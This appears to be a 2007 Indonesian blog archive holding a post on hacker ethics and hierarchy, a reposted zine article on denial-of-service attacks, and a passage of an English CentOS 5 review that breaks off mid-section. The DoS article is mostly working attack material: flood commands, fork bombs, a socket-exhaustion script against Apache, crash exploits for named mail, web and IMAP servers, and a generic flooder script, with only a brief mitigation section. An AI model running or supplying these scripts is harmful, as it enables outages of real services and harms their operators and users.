Sunday, April 29, 2007

Tentang HACKER

Tulisan ini dibuat untuk memberikan gambaran yang jelas mengenai siapa sebenarnya hacker, sebab selama ini opini yang terbentuk dalam masyarakat kita mengenai hacker kurang tepat. Banyak anggapan miring di dunia maya tentang hacker yang tidak pada tempatnya. bahkan berbalik 180 derajat dari tuuan sebenarnya.

*RFC1392,Internet User Glossary, : Hacker adalah: Seseorang yang tertarik untuk mengetahui secara mendalam mengenai kerja suatu system, komputer, atau jaringan komputer."

Pengertian:
==========

HACK {secara umum}
==================
1.pekerjaan yang dilakukan secara cepat dan berhasil, walau tidak sempurna
2.Suatu hal Mustahil, dan mungkin menghabiskan banyak waktu tetapi menghasilkan yang diinginkan.
3.untuk membuktikan baik secara emosional ataupun fisik bahwa ini bisa dilakukan
4.Mengerjakan sesuatu secara bersungguh-sungguh, dengan ketelitian yang tinggi
5.Berinteraksi dengan komputer dalam bermain dan bereksplorasi
6.kependekan dari hacker

HACKER {aslinya, seseorang yang membuat kerajinan dengan kapak}
===============================================================
1.Seseorang yang sangat senang mengeksplorasi suatu program dari suatu system untuk untuk mengetahui batas kemampuannya, dengan mengunakan cara-cara dasar yang akan digunakan oleh orang yang tidak mengerti dan mengetahui bagaimana program itu dibuat dan dengan pengetahuan minimum terhadap program.
2.seseorang yang sangat antusias dalam membuat program, dan lebih menikmati membuat program dibandingkan berteori tentang program tersebut.
3.seseorang yang mampu melakukan "hack"
4.seseorang yang sangat baik dalam memprogram
5.ahli pemrograman, atau sering melakukan pekerjaan dengan program itu
6.ahli yang tertarik dengan semua hal, contoh hacker di bidang astronomy.
7.seseorang yang senang dengan tantangan intelektual dengan ide kreatif
8.seseorang yang secara sembunyi-sembunyi berusaha menemukan informasi penting dengan cara menjelajah, lebih sering disebut sebagai cracker.

CRACK {warez d00dz}
===================
1.memaksa masuk kedalam suatu sistem
2.kegiatan menghilangkan copy protection
3.Program, instruksi yang digunakan untuk menghilangkan copy protection

CRACKER
=======
1.seseorang yang mencoba masuk kedalam suatu jaringan secara paksa dengan tujuan mengambil keuntungan, merusak, dsb.
2.seseorang yang menghilangkan copy protection
3.seseorang yang melakukan kegiatan "crack"

CRACKING
=======
1.kegiatan membobol Suatu sistem komputer dengan tujuan menggambil keuntungan merusak dan menghancurkan dengan motivasi tertentu.


Etika Hacker
============
1.Kepercayaan bahwa berbagi informasi adalah suatu hal yang sangat baik dan berguna, dan sudah merupakan kewajiban (kode etik) bagi seorang hacker untuk membagi hasil penelitiannya dengan cara menulis kode yang "open-source" dan memberikan fasilitas untuk mengakses informasi tersebut dan menggunakan peralatan pendukung apabila memungkinkan.

2.keyakinan bahwa "system-cracking" untuk kesenangan dan eksplorasi sesuai dengan etika adalah tidak apa-apa [OK] selama seorang hacker, cracker tetap komitmen tidak mencuri, merusak dan melanggar batas-batas kerahasiaan.

=(di ambil,diartikan dan diedit dari the jargon file (versi 4.4.4) )=


===========================================================================


"Yang menarik,ternyata dalam dunia hacker terjadi strata-strata (tingkatan) yang diberikan oleh komunitas hacker kepada seseorang karena kepiawaiannya, bukan karena umur atau senioritasnya. Saya yakin tidak semua orang setuju dengan derajat yang akan dijelaskan disini,karena ada kesan aroganterutama pada level yang tinggi. Untuk memperoleh pengakuan/derajat, seorang hacker harusmampu membuat program untuk eksploit kelemahan sistem, menulis tutorial (artikel), aktif diskusi di mailing list, membuat situs web dsb."

Hirarki Hacker
==============
Mungkin agak terlalu kasar jika di sebut hirarki / tingkatan hacker; saya yakin istilah ini tidak sepenuhnya bisa di terima oleh masyarakat hacker. Oleh karenanya saya meminta maaf sebelumnya. Secara umum yang paling tinggi (suhu) hacker sering di sebut ‘Elite’; di Indonesia mungkin lebih sering di sebut ‘suhu’.Sedangkan, di ujung lain derajat hackerdikenal ‘wanna-be’ hacker atau dikenal sebagai ‘Lamers’.

Elite:
=====
Juga dikenal sebagai 3l33t, 3l337, 31337 atau kombinasi dari itu; merupakan ujung tombak industri keamanan jaringan. Mereka mengerti sistem operasi luar dalam, sanggup mengkonfigurasi & menyambungkan jaringan secara global. Sanggup melakukan pemrogramman setiap harinya. Sebuah anugrah yang sangat alami, mereka biasanya effisien & trampil,menggunakan pengetahuannya dengan tepat. Mereka seperti siluman dapat memasuki sistem tanpa diketahui, walaupun mereka tidak akan menghancurkan data-data. Karena mereka selalu mengikuti peraturan yang ada.

Semi Elite:
==========
Hacker ini biasanya lebih mudadaripada Elite.Mereka juga mempunyai kemampuan & pengetahuan luas tentang komputer. Mereka mengerti tentang sistem operasi (termasuk lubangnya). Biasanya dilengkapi dengan sejumlah kecilprogram cukup untuk mengubah program eksploit. Banyak serangan yang dipublikasi dilakukan oleh hacker kaliber ini, sialnya oleh para Elite mereka sering kali dikategorikan Lamer.

Developed Kiddie:
================
Sebutan ini terutamakarena umur kelompok ini masih muda (ABG)&masih sekolah. Mereka membaca tentang metoda hacking & caranya diberbagai kesempatan. Mereka mencoba berbagai sistem sampai akhirnya berhasil & memproklamirkan kemenangan ke lainnya. Umumnya mereka masih menggunakan Grafik UserInterface (GUI) & baru belajar basic dari UNIX, tanpa mampu menemukan lubang kelemahan baru di sistem operasi.

Script Kiddie:
=============
Seperti developed kiddie, Script Kiddie biasanya melakukan aktifitas diatas. Seperti juga Lamers, mereka hanya mempunyai pengetahuan teknis networking yang sangat minimal. Biasanya tidak lepas dari GUI. Hacking dilakukan menggunakan trojan untuk menakuti & menyusahkan hidup sebagian pengguna Internet.

Lamer:
=====
Mereka adalah orang tanpa pengalaman & pengetahuan yang ingin menjadi hacker (wanna-be hacker). Mereka biasanya membaca atau mendengar tentang hacker & ingin seperti itu. Penggunaan komputer mereka terutama untuk main game, IRC, tukar menukar software prirate, mencuri kartu kredit. Biasanya melakukan hacking menggunakan software trojan, nuke & DoS. Biasanya menyombongkan diri melalui IRC channel dsb. Karena banyak kekurangannya untuk mencapai elite, dalam perkembangannya mereka hanya akan sampai level developed kiddie atau script kiddie saja. Lamer tidak sama dengan camer :D.

Etika & Aturan main Hacker
=========================

+ Di atas segalanya, hormati pengetahuan & kebebasan informasi.
+ Memberitahukan sistem administrator akan adanya pelanggaran keamanan/lubang di keamanan yang anda lihat.
+ Jangan mengambil keuntungan yang tidak fair dari hack.
+ Tidak mendistribusikan & mengumpulkan software bajakan.
+ Tidak pernah mengambil resiko yang bodoh
+ selalu mengetahui kemampuan sendiri.
+ Selalu bersedia untuk secara terbuka/bebas/gratis memberitahukan & mengajarkan berbagai informasi & metoda yang diperoleh.
+ Tidak pernah meng-hack sebuah sistem untuk mencuri uang.
+ Tidak pernah memberikan akses ke seseorang yang akan membuat kerusakan.
+ Tidak pernah secara sengaja menghapus & merusak file di komputer yangdihack.
+ Hormati mesin yang di hack, dan memperlakukan dia seperti mesin sendiri.

Jelas dari Etika & Aturan main Hacker di atas, terlihat jelas sangat tidak mungkin seorang hacker betulan akan membuat kerusakan di komputer.

=(diambil, dan diedit berdasarkan tulisan : Onno w. Purbo)=

Monday, April 23, 2007

SERANGAN DENIAL OF SERVICE

echo-zine 02
Oleh: MOBY (echo-staff)
moby@echo.or.id || mobygeek@telkom.net


.o0 Kata Pengantar

Pada dasarnya saya mencoba memberikan gambaran umum tentang Denial of
Service atau yang lebih kita kenal dengan DoS. Beberapa pertanyaan
yang mungkin bisa terjawab diantaranya :

1. Apa itu DoS ?
2. Apa motif cracker untuk melakukan itu ?
3. Bagaimana cara melakukannya ?
4. Apa yang harus saya lakukan untuk mencegahnya ?

Semuanya untuk anda, ENJOY !!.

.o0 Apa itu Denial of Service (DoS) ?

Denial of Service adalah aktifitas menghambat kerja sebuah layanan (servis)
atau mematikan-nya, sehingga user yang berhak/berkepentingan tidak dapat
menggunakan layanan tersebut. Dampak akhir dari aktifitas ini menjurus
kepada tehambatnya aktifitas korban yang dapat berakibat sangat fatal
(dalam kasus tertentu). Pada dasarnya Denial of Service merupakan serangan
yang sulit diatasi, hal ini disebabkan oleh resiko layanan publik dimana
admin akan berada pada kondisi yang membingungkan antara layanan dan
kenyamanan terhadap keamanan. Seperti yang kita tahu, keyamanan berbanding
terbalik dengan keamanan. Maka resiko yang mungkin timbul selalu mengikuti
hukum ini.

Beberapa aktifitas DoS adalah:

1. Aktifitas 'flooding' terhadap suatu server.
2. Memutuskan koneksi antara 2 mesin.
3. Mencegah korban untuk dapat menggunakan layanan.
4. Merusak sistem agar korban tidak dapat menggunakan layanan.


.o0 Motif penyerang melakukan Denial of Service

Menurut Hans Husman (t95hhu@student.tdb.uu.se), ada beberapa motif cracker
dalam melakukan Denial of Service yaitu:

1. Status Sub-Kultural.
2. Untuk mendapatkan akses.
3. Balas dendam.
4. Alasan politik.
5. Alasan ekonomi.
6. Tujuan kejahatan/keisengan.

Satatus subkultural dalam dunia hacker, adalah sebuah unjuk gigi atau lebih
tepat kita sebut sebagai pencarian jati diri. Adalah sebuah aktifitas umum
dikalangan hacker-hacker muda untuk menjukkan kemampuannya dan Denial of
Service merupakan aktifitas hacker diawal karirnya. Alasan politik dan
ekonomi untuk saat sekarang juga merupakan alasan yang paling relevan. Kita
bisa melihat dalam 'perang cyber' (cyber war), serangan DoS bahkan dilakukan
secara terdistribusi atau lebih dikenal dengan istilah 'distribute Denial of
Service'. Beberapa kasus serangan virus semacam 'code-red' melakukan serangan
DoS bahkan secara otomatis dengan memanfaatkan komputer yang terinfeksi,
komputer ini disebut 'zombie' dalam jargon.Lebih relevan lagi, keisengan
merupakan motif yang paling sering dijumpai. Bukanlah hal sulit untuk
mendapatkan program-program DoS, seperti nestea, teardrop, land, boink,
jolt dan vadim. Program-program DoS dapat melakukan serangan Denial of
Service dengan sangat tepat, dan yang terpenting sangat mudah untuk
melakukannya. Cracker cukup mengetikkan satu baris perintah pada Linux Shell
yang berupa ./nama_program argv argc ...


.o0 Denial of Sevice, serangan yang menghabiskan resource.

Pada dasarnya, untuk melumpuhkan sebuah layanan dibutuhkan pemakaian resource
yang besar, sehingga komputer/mesin yang diserang kehabisan resource dan
manjadi hang. Beberapa jenis resource yang dihabiskan diantaranya:

A. Swap Space
B. Bandwidth
C. Kernel Tables
D. RAM
E. Disk
F. Caches
G. INETD

A. Swap Space

Hampir semua sistem menggunakan ratusan MBs spasi swap untuk melayani permintaan
client. Spasi swap juga digunakan untuk mem-'forked' child process. Bagaimanapun
spasi swap selalu berubah dan digunakan dengan sangat berat. Beberapa serangan
Denial of Service mencoba untuk memenuhi (mengisi) spasi swap ini.

B. Bandwidth

Beberapa serangan Denial of Service menghabiskan bandwidth.

C. Kernel Tables

Serangan pada kernel tables, bisa berakibat sangat buruk pada sistem. Alokasi
memori kepada kernel juga merupakan target serangan yang sensitif. Kernel
memiliki kernelmap limit, jika sistem mencapai posisi ini, maka sistem tidak
bisa lagi mengalokasikan memory untuk kernel dan sistem harus di re-boot.

D. RAM

Serangan Denial of Service banyak menghabiskan RAM sehingga sistem mau-tidak
mau harus di re-boot.

E. Disk

Serangan klasik banyak dilakukan dengan memenuhi Disk.

F. Caches

G. INETD

Sekali saja INETD crash, semua service (layanan) yang melalui INETD tidak akan
bekerja.


.o0 Teknik Melakukan Denial of Service

Melakukan DoS sebenarnya bukanlah hal yang sulit dilakukan. Berhubung DoS merupakan
dampak buruk terhadap sebuah layanan publik, cara paling ampuh untuk menghentikannya
adalah menutup layanan tersebut. Namun tentu saja hal ini tidak mengasikkan dan juga
tidak begitu menarik.
Kita akan bahas tipe-tipe serangan DoS.

1. SYN-Flooding
SYN-Flooding merupakan network Denial ofService yang memanfaatkan 'loophole'
pada saat koneksi TCP/IP terbentuk. Kernel Linux terbaru (2.0.30 dan yang
lebih baru) telah mempunyai option konfigurasi untuk mencegah Denial of
Service dengan mencegahmenolak cracker untuk mengakses sistem.
2. Pentium 'FOOF' Bug
Merupakan serangan Denial of Service terhadap prosessor Pentium yang
menyebabkan sistem menjadi reboot. Hal ini tidak bergantung terhadap jenis
sistem operasi yang digunakan tetapi lebih spesifik lagi terhadap prosessor
yang digunakan yaitu pentium.
3. Ping Flooding
Ping Flooding adalah brute force Denial of Service sederhana. Jika serangan
dilakukan oleh penyerang dengan bandwidth yang lebih baik dari korban, maka
mesin korban tidak dapat mengirimkan paket data ke dalam jaringan (network).
Hal ini terjadi karena mesin korban di banjiri (flood) oleh peket-paket ICMP.
Varian dari serangan ini disebut "smurfing"
(http://www.quadrunner.com/~chuegen/smurf.txt).

Serangan menggunakan exploits.

Beberapa hal yang harus dipahami sebelum melakukan serangan ini adalah:
A. Serangan membutuhkan Shell Linux (Unix/Comp)
B. Mendapatkan exploits di: http://packetstormsecurity.nl (gunakan
fungsi search agar lebih mudah)
C. Menggunakan/membutuhkan GCC (Gnu C Compiler)

1. KOD (Kiss of Death)
Merupakan tool Denial of Service yang dapat dugunakan untuk menyerang Ms.
Windows pada port 139 (port netbios-ssn). Fungsi utama dari tool ini adalah
membuat hang/blue screen of death pada komputer korban.
Cara penggunaan:
A. Dapatkan file kod.c
B. Compile dengan Gcc: $ gcc -o kod kod.c
C. Gunakan: $ kod [ip_korban] -p [port] -t [hits]
Kelemahan dari tool ini adalah tidak semua serangan berhasil, bergantung
kepada jenis sistem operasi dan konfigurasi server target (misalmya:
blocking)
2. BONK/BOINK
Bong adalah dasar dari teardrop (teardrop.c). Boink merupakan Improve dari
bonk.c yang dapat membuat crash mesin MS. Windows 9x dan NT
3. Jolt
Jolt sangat ampuh sekali untuk membekukan Windows 9x dan NT. Cara kerja Jolt
yaitu mengirimkan serangkaian series of spoofed dan fragmented ICMP Packet
yang tinggi sekali kepada korban.
4. NesTea
Tool ini dapat membekukan Linux dengan Versi kernel 2.0. kebawah dan Windows
versi awal. Versi improve dari NesTea dikenal dengan NesTea2
5. NewTear
Merupakan varian dari teardrop (teardrop.c) namun berbeda dengan bonk
(bonk.c)
6. Syndrop
Merupakan 'serangan gabungan' dari TearDrop dan TCP SYN Flooding. Target
serangan adalah Linux dan Windows
7. TearDrop
TearDrop mengirimkan paket Fragmented IP ke komputer (Windows) yang terhubung
ke jaringan (network). Serangan ini memanfaatkan overlapping ip fragment, bug
yang terdapat pada Windowx 9x dan NT. Dampak yang timbul dari serangan ini
adalah Blue Screen of Death

Serangan langsung (+ 31337)

1. Ping Flood
Membutuhkan akses root untuk melakukan ini pada sistem Linux. Implementasinya
sederhana saja, yaitu dengan mengirimkan paket data secara besar-besaran.
bash # ping -fs 65000 [ip_target]
2. Apache Benchmark
Program-program Benchmark WWW, digunakan untuk mengukur kinerja (kekuatan)
suatu web server, namun tidak tertutup kemungkinan untuk melakukan
penyalahgunaan.
bash $ /usr/sbin/ab -n 10000 -c 300 \
http://korban.com/cgi-bin/search.cgi?q=kata+yang+cukup+umum
(diketik dalam 1 baris!)
Akan melakukan 10000 request paralel 300 kepada host korban.com
3. Menggantung Socket
Apache memiliki kapasitas jumlah koneksi yang kecil. Konfigurasi universal
oleh Apache Software Foundation adalah MaxClients 150, yang berarti hanyak
koneksi yang diperbolehkan mengakses Apache dibatasi sebanyak 150 clients.
Jumlah ini sedikit banyak dapat berkurang mengingat browser lebih dari 1
request simultan dengan koneksi terpisah-pisah.

Penyerang hanya melakukan koneksi lalu diam, pada saat itu apache akan
menunggu selama waktu yang ditetukan direktif TimeOut (default 5 menit).
Dengan mengirimkan request simultan yang cukup banyak penyerang akan memaksa
batasan maksimal MaxClients. Dampak yang terjadi, clien yang mengakses apache
akan tertunda dan apa bila backlog TCP terlampaui maka terjadi penolakan,
seolah-olah server korban tewas.

Script gs.pl (gantung socket)

#!/usr/bin/perl
#
# Nama Script : gs.pl
# Tipe : Denial of Service (DoS)
# Auth : MOBY || eCHo --> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[1]) {
print "Gunakan: perl gs.pl [host] [port] \n";
exit;
}
for (1..1300) {
$fh{$_}=new IO::Socket::INET
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto => "tcp"
or die; print "$_\n"
}
# END. 27 Oktober 2003
# Lakukan dari beberapa LoginShell (komputer) !

DoS-ing Apache lagi !!

Beberapa contoh skrip perl untuk melakukan DoS-ing secara local.

1. Fork Bomb, habiskan RAM

#!/usr/bin/perl
fork while 1;

2. Habiskan CPU

#!/usr/bin/perl
for (1..100) { fork or last }
1 while ++$i

3. Habiskan Memory

#!/usr/bin/perl
for (1..20) { fork or last }
while(++$i) { fh{$i} = "X" x 0xff; }

4. Serangan Input Flooding
Saya mengamati serangan ini dari beberapa advisories di BugTraq. Remote
Buffer Overflow yang menghasilkan segmentation fault (seg_fault) dapat
terjadi secara remote jika demon (server) tidak melakukan verifikasi input
sehingga input membanjiri buffer dan menyebabkan program dihentikan secara
paksa.

Beberapa 'proof of concept' dapat dipelajari melalui beberapa contoh ini.

1. Serangan kepada IISPop EMAIL Server.
Sofie : Email server
Vendor : http://www.curtiscomp.com/
TIPE : Remote DoS

IISPop akan crash jika diserang dengan pengiriman paket data sebesar 289999 bytes,
versi yang vuneral dan telah di coba adalah V: 1.161 dan 1.181

Script: iispdos.pl

#!/usr/bin/perl -w
#
# $0_ : iispdos.pl
# Tipe serangan : Denial of service
# Target : IISPop MAIL SERVER V. 1.161 & 1.181
# Auth : MOBY & eCHo -> moby@echo.or.id || mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
if (!$ARGV[0]) {
print "Gunakan: perl iispdos.pl [host] \n";
exit;
}
# Data 289999 bytes
$buff = "A" x 289999;

print "Connecting ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "110",
Proto=> "tcp") or die;
print "Error: $_\n";
print "Connect !!\n";
print $connect "$buff\n";
close $connect;
print "Done \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "110",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# END.

2. Membunuh wzdftpd.
Sofie : wzdftpd
Vendor : http://www.wzdftpd.net

Proof of Concept:

% telnet 127.0.0.1 21
Trying 127.0.0.1...
Connected to localhost.novel.ru.
Escape character is '^]'.
220 wzd server ready.
USER guest
331 User guest okay, need password.
PASS any
230 User logged in, proceed.
PORT
Connection closed by foreign host.
% telnet 127.0.0.1 21
Trying 127.0.0.1...
telnet: connect to address 127.0.0.1: Connection refused
telnet: Unable to connect to remote host

wzdftpd crash setelah diberikan perintah/command PORT !

3. Serangan 32700 karakter, DoS BRS WebWeaver.
Sofie : BRS WebWeaver V. 1.04
Vendor : www.brswebweaver.com
BugTraqer : euronymous /F0KP

}------- start of fadvWWhtdos.py ---------------{

#! /usr/bin/env python
## #!/usr/bin/python (Py Shebang, MOBY)
###
# WebWeaver 1.04 Http Server DoS exploit
# by euronymous /f0kp [http://f0kp.iplus.ru]
########
# Usage: ./fadvWWhtdos.py
########

import sys
import httplib

met = raw_input("""
What kind request you want make to crash webweaver?? [ HEAD/POST ]:
""")
target = raw_input("Type your target hostname [ w/o http:// ]: ")
spl = "f0kp"*0x1FEF
conn = httplib.HTTPConnection(target)
conn.request(met, "/"+spl)
r1 = conn.getresponse()
print r1.status

}--------- end of fadvWWhtdos.py ---------------{

Serangan diatas mengirimkan 32700 karakter yang menyebabkan server crash !

4. Buffer Overflow pada MailMAX 5
Sofie : IMAP4rev1 SmartMax IMAPMax 5 (5.0.10.8)
Vendor : http://www.smartmax.com
BugTraqer : matrix at 0x36.org

Remote Buffer Overflow terjadi apa bila user mengirimkan input (arg) kepada command
SELECT. Dampak dari serangan ini adalah berhentiya server dan harus di-restart secara
manual.

Contoh eksploitasi:
--------[ transcript ]-------
nc infowarfare.dk 143
* OK IMAP4rev1 SmartMax IMAPMax 5 Ready
0000 CAPABILITY
* CAPABILITY IMAP4rev1
0000 OK CAPABILITY completed
0001 LOGIN "RealUser@infowarfare.dk" "HereIsMyPassword"
0001 OK User authenticated.
0002 SELECT "aaa...[256]...aaaa"
--------[ transcript ]-------

Perhatian !, contoh eksploitasi diatas menggunakan NetCat (nc), anda bisa dapatkan tool
ini pada url: http://packetstormsecurity.nl dengan kata kunci 'nc' atau 'netcat'


Jika kita perhatikan, serangan flooding memiliki kesamaan, yaitu - tentu saja -
membanjiri input dengan data yang besar. Serangan akan lebih efektif jika dilakukan pada
komputer esekutor yang memiliki bandwidth lebar.

Dengan mempelajari kesamaan serangan, step yang dilakukan adalah:
A. Connect ke korban (host, port).
B. Kirimkan paket data dalam jumlah besar.
C. Putuskan koneksi > selesai.

Dari step diatas, kita bisa membuat sebuah skrip universal untuk melakukan serangan DoS.
Skrip ini membutuhkan 3 argumen yaitu: target_address (host/ip target), target_port (
port koneksi ke server korban), dan data (jumlah paket data yang akan dikirim).

-- udos.pl --

#!/usr/bin/perl
#
# $0 : udos.pl
# Auth : MOBY & eCHo -> moby@echo.or.id | mobygeek@telkom.net
# URL : www.echo.or.id
#
use IO::Socket;
#
if (!$ARGV[2]) {
print "Gunakan % perl udos.pl [host] [port] [data] \n";
print "Contoh :\n";
print "\t $ perl udos.pl 127.0.0.1 21 50000 \n";
exit;
}
# Siapkan data
$buffer = "A" x $ARGV[2];
# Connect -> Korban
print "Connecting ... -> $ARGV[0] \n";
$con = new IO::Socket::INET (
PeerAddr=> "$ARGV[0]",
PeerPort=> "$ARGV[1]",
Proto=> "tcp") or die;
print "Error: $_ \n";
# Connect !
print "Connect !! \n";
print $con "$buffer\n";
close $con;
print "Done. \n";
print "POST TESTING setelah serangan \n";
print "TEST ... >> $ARGV[0] \n";
$connect = new IO::Socket::INET (
PeerAddr => "$ARGV[0]",
PeerPort => "$ARGV[1]",
Proto => "tcp") or die;
print "Done !!, $ARGV[0] TEWAS !! \n";

print "Gagal !! \n";
close $connect;
# End.

-- udos.pl --

Skrip sederhana diatas hanya melakukan hubungan dengan server korban,
lalu mengirimkan flood dan melakukan post testing. Dengan sedikit
pemprograman anda dapat membuat sebuah 'Mass Flooder' atau 'Brute Force
Flooder', tergantung pada kreatifitas anda !


.o0 Penanggulangan serangan Denial of Service

Sejujurnya, bagian inilah yang paling sulit. Anda bisa lihat bagaimana
mudahnya menggunaka sploits/tool untuk membekukan Ms Windows, atau
bagaimana mudahnya melakukan input flooding dan membuat tool sendiri.
Namun Denial of service adalah masalah layanan publik.Sama halnya dengan
anda memiliki toko, sekelompok orang jahat bisa saja masuk beramai-ramai
sehingga toko anda penuh. Anda bisa saja mengatasi 'serangan' ini dengan
'menutup' toko anda - dan ini adalah cara paling efektif - namun jawaban
kekanak-kanakan demikian tentu tidak anda harapkan.

1. Selalu Up 2 Date.
Seperti contoh serangan diatas, SYN Flooding sangat efektif untuk membekukan
Linux kernel 2.0.*. Dalam hal ini Linux kernel 2.0.30 keatas cukup handal
untuk mengatasi serangan tersebut dikarenakan versi 2.0.30 memiliki option
untuk menolak cracker untuk mengakses system.

2. Ikuti perkembangan security
Hal ini sangat efektif dalam mencegah pengerusakan sistem secara ilegal.
Banyak admin malas untuk mengikuti issue-issue terbaru perkembangan dunia
security. Dampak yang paling buruk, sistem cracker yang 'rajin', 'ulet'
dan 'terlatih' akan sangat mudah untuk memasuki sistem dan merusak -
tidak tertutup kemungkinan untuk melakukan Denial of Service -.
Berhubungan dengan 'Selalu Up 2 Date', Denial of service secara langsung
dengan Flooding dapat diatasi dengan menginstall patch terbaru dari vendor
atau melakukan up-date.

3. Teknik pengamanan httpd Apache.
+ Pencegahan serangan Apache Benchmark.
Hal ini sebenarnya sangat sulit untuk diatasi. Anda bisa melakukan
identifikasi terhadap pelaku dan melakukan pemblokiran manual melalui
firewall atau mekanisme kontrol Apache (Order, Allow from, Deny From ).
Tentunya teknik ini akan sangat membosankan dimana anda sebagai seorang
admin harus teliti.
Mengecilkan MexClients juga hal yang baik, analognya dengan membatasi
jumlah pengunjung akan menjaga toko anda dari 'Denial of Service'.
Jangan lupa juga menambah RAM.

4. Pencegahan serangan non elektronik.
Serangan yang paling efektif pada dasarnya adalah local. Selain efektif
juga sangat berbahaya. Jangan pernah berfikir sistem anda benar-benar aman,
atau semua user adalah orang 'baik'. Pertimbangkan semua aspek. Anda bisa
menerapkan peraturan tegas dan sanksi untuk mencegah user melakukan serangan
dari dalam. Mungkin cukup efektif jika dibantu oleh kedewasaan berfikir dari
admin dan user bersangkutan.


.o0 Penututp.

Berbicara masalah security merupakan hal yang mengasikkan. Teknik-teknik
intrusi baru begitu unik dan sebagai seorang geek saya yakin 'keindahan
pengetahuan diatas segalanya'. Anda tidak akan melakukan hal-hal bodoh
seputar dokumen ini dan ingat selalu 'kita tidak pernah tahu segalanya'.
Mulailah belajar, perhatikan dunia dan kuasai ! Anda akan terkagum,
betapa indahnya semesta ini.
Terima kasih untuk anda semua telah membaca artikel ini - bahkan sampai
baris ini :) -. Terima kasih untuk rekan-rekan echo-staff atas support
selama ini. Untuk semua Computer Security Industries Indonesia, teruslah
berjuang Amigo !! Computer Underground, hey nak, sudah saatnya belajar
dan berhenti bermain. Semua teman-teman online TERIMA KASIH !!
Shout buat Willy, Al, Dudunk - semua pengunjung 'rumah mesum' :P
(cuma istilah/jargon) - Thanks buat Rizka, maaf atas 'pesan-pesan filosofi
gelap', kamu tahu pemilik nomor 08157190*** !. "Ka .. tidak baik marah
kepada seseorang yang datang dengan kasih sayang :)"

"KALAU AKU SEORANG ATEIS, MAKA AKAN AKU KATAKAN:
'TEMPAT YANG PALING AMAN ADALAH PETI MATI'
TAPI TERNYATA AKU SALAH !!"
[MOBY]


Bacaan lanjutan / referensi:

[1] Kejahatan Internet, Trik Aplikasi dan Tip Penanggulangannya.
R. Kresno Aji, Agus Hartanto, Deni Siswanto, Tommy Chandra Wiratama.
Elexmedia Komputindo, ISBN: 979-20-3249-5
[2] 7 Cara Isengi Apache dan kiat mengatasinya.
Steven Haryanto, Masterweb Magazine Oktober 2001
[3] Introduction to Denial of Service
Hans Husman, t95hhu@student.tdb.uu.se
[4] CERT ADVISORIES.
www.cert.org
[5] Packet Storm Security
http://packetstormsecurity.nl
[6] BugTraq
www.securityfocus.com

CentOS 5 is a solid enterprise OS (Distribution Reviews)

Last week, two years since its last major release, the CentOS project released version 5 of its enterprise-focused Linux distribution. I downloaded it and put it to the test, and found that CentOS 5 has maintained its tradition of robustness and reliability while adding new features like virtualization.

The latest CentOS (Community ENTerprise Operating System) distribution is built from the freely available (under the GPL and similar licenses) sources for Red Hat Enterprise Linux 5. The initial platforms supported are x86 (i586 and i686) and x86_64 (AMD64 and Intel EMT64) with planned support for IA64 and others soon.

The key advantages of CentOS over other server-type distributions, apart from its free nature (as in both speech and beer), is its rock-solid reliability and the long lifecycle of the product. The CentOS project expects to supply maintenance updates for Centos 3 until 2010 and for CentOS 4 until 2012. Projecting this forward, maintenance for CentOS 5 should be active until at least 2014.

CentOS 5 comes as a 6-CD set (a 7-CD for the 64-bit version) or as a single-layer DVD. I downloaded the DVD version and used it to boot my server. Installation is straightforward (similar to that of previous versions of CentOS and similar to Fedora Core) and shouldn't be difficult, especially if you are used to installing Linux. The installation process uses a graphical interface with on-screen instructions, but you will need as least 512MB of memory to use it; there is a text installer for those with at least 128MB. If you are installing on a new server and you are happy to have all the disks reformatted, use the "automatically partition" option for the disk partitioning setup, as this will save you lots of time. If you need a more complicated setup with RAID, then you will need to customize the disk partitioning. As my test server is a dual boot machine, I used the customised disk partitioning to install CentOS on a free partition. The installation went without hitch. The installer correctly recognized the presence of the other OS on the machine and configured the bootloader accordingly.

One big difference between Red Hat Enterprise Linux 5 and CentOS 5 is that CentOS 5 includes packages from different RHEL variants, including the server and client varieties. All the Red Hat repositories have been combined into one to make it easier for end users to work with packages.

CentOS 5 comes with all the usual suspects in terms of server and application software. At its heart is Linux kernel 2.6.18 with some enterprise tweaks to support large amounts of memory and data. Also bundled are Apache 2.2.3 (with built-in support for file sizes larger than 2GB on 32-bit hardware platforms), MySQL 5.0.22, and PHP 5.1.6. Other server components include PostgreSQL 8.1.4, Samba 3.0 (for file sharing with Windows machines), and Bind 9.3.3. For messaging there is Postfix 2.3.3 or Sendmail 8.13.8 coupled with the Cyrus 2.3.7 IMAP/POP3 daemon, or alternatively Dovecot 1.0.

For the desktop, CentOS offers GNOME 2.16 and KDE 3.5.4. Also included is OpenOffice.org 2.0.4, Firefox 1.5.0.10 for Web surfing, and Thunderbird 1.5.0.10 for email. CentOS bundles a whole range of other desktop applications, for functions from CD burning to photo and image manipulation. Although bleeding-edge applications aren't included, the older versions reflect the philosophy of CentOS 5, which is to use mature packages with a proven track record rather than rely on newer and sometimes less reliable versions.

Virtualization

One of the biggest changes in CentOS 5 is the inclusion of the Xen virtualization technology. Virtualization allows multiple operating systems (known as guests) to run on a single server at the same time. Essentially it lets you run a virtual PC or server on your host server that shares its CPU and memory. You can choose whether to include the virtualization packages during the installation.

Using Xen, a server can run multiple copies of CentOS 5 on the same hardware. If your CPU supports hardware virtualization (with Intel VT or AMD SVM technologies), then you can also host arbitrary, unmodified guest operating systems, such as Windows.

CentOS 5 supplies two tools for installing and managing guest operating systems: virt-install, a simple command-line program to set up and install a virtual machine, and virt-manager, a graphical program that lets you monitor and manage the virtual machines you have running. It reports details about CPU and memory usage and lets you halt active virtual machines.

One thing to note is that virtual machines can't be installed from a physical DVD; unlike VMware and SUSE Linux Enterprise Server, CentOS supports only network installations, either from the Internet (via HTTP) or via an NFS-mounted DVD, due to lack of support for physical devices in the installation tools. CentOS needs to resolve this to if it wants to lead the pack in terms of Linux virtualization.

The CentOS developers have put a lot of work into making Xen reliable and workable on CentOS 5, but of course Xen isn't the only virtualization technology available for Linux. Virtualization products from VMware and InnoTek, among others, should also work.

Clustering and SELinux

